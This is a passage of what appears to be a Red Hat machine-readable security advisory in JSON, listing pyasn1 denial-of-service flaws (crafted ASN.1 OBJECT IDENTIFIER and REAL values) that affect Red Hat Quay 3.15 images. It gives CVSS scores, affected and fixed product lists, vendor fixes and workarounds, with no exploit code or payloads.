          "category": "external",
          "summary": "https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9",
          "url": "https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9"
        },
        {
          "category": "external",
          "summary": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"
        },
        {
          "category": "external",
          "summary": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj"
        }
      ],
      "release_date": "2026-07-14T16:40:00.515000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T20:01:08+00:00",
          "details": "Before applying this update, make sure all previously released errata relevant\nto your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48933"
        },
        {
          "category": "workaround",
          "details": "Update to pyasn1 version 0.6.4 or later when available for your product stream. The impact is limited to availability (denial of service) \u2014 an attacker cannot access or modify data. Applications that do not process untrusted ASN.1 input are at reduced risk.",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "pyasn1: python-pyasn1: pyasn1: Denial of Service via crafted ASN.1 OBJECT IDENTIFIER"
    },
    {
      "cve": "CVE-2026-59886",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-07-14T17:01:19.689422+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2500041"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A remote attacker can exploit this by providing specially crafted BER/CER/DER-encoded ASN.1 data with a large exponent in the REAL value. When the application subsequently prints, logs, compares, or performs arithmetic on the decoded value, this can cause excessive CPU and memory consumption, leading to a denial of service (DoS).",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "pyasn1: pyasn1: Denial of Service via crafted ASN.1 REAL values",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This flaw in pyasn1, rated as Important, could lead to a denial of service in Red Hat products that process untrusted ASN.1 data. A remote attacker could send a specially crafted BER, CER, or DER encoded REAL value with a large exponent, causing applications to consume excessive resources during decoding operations such as printing, logging, or arithmetic, thereby rendering the service unavailable.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
        ],
        "known_not_affected": [
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
          "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-59886"
        },
        {
          "category": "external",
          "summary": "RHBZ#2500041",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2500041"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-59886",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59886"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-59886",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59886"
        },
        {
          "category": "external",
          "summary": "https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886",
          "url": "https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886"
        },
        {
          "category": "external",
          "summary": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"
        },
        {
          "category": "external",
          "summary": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r"
        }
      ],
      "release_date": "2026-07-14T16:38:29.691000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T20:01:08+00:00",
          "details": "Before applying this update, make sure all previously released errata relevant\nto your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48933"
        },
        {
          "category": "workaround",
          "details": "When processing untrusted ASN.1 data with pyasn1, avoid calling prettyPrint(), str(), float(), int(), or performing comparisons or arithmetic on decoded Real (ASN.1 REAL type) objects. Instead, inspect the raw (mantissa, base, exponent) tuple directly. Where logging decoded ASN.1 structures is necessary, filter out or sanitize Real-typed values before conversion.",
          "product_ids": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64",
            "Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le",
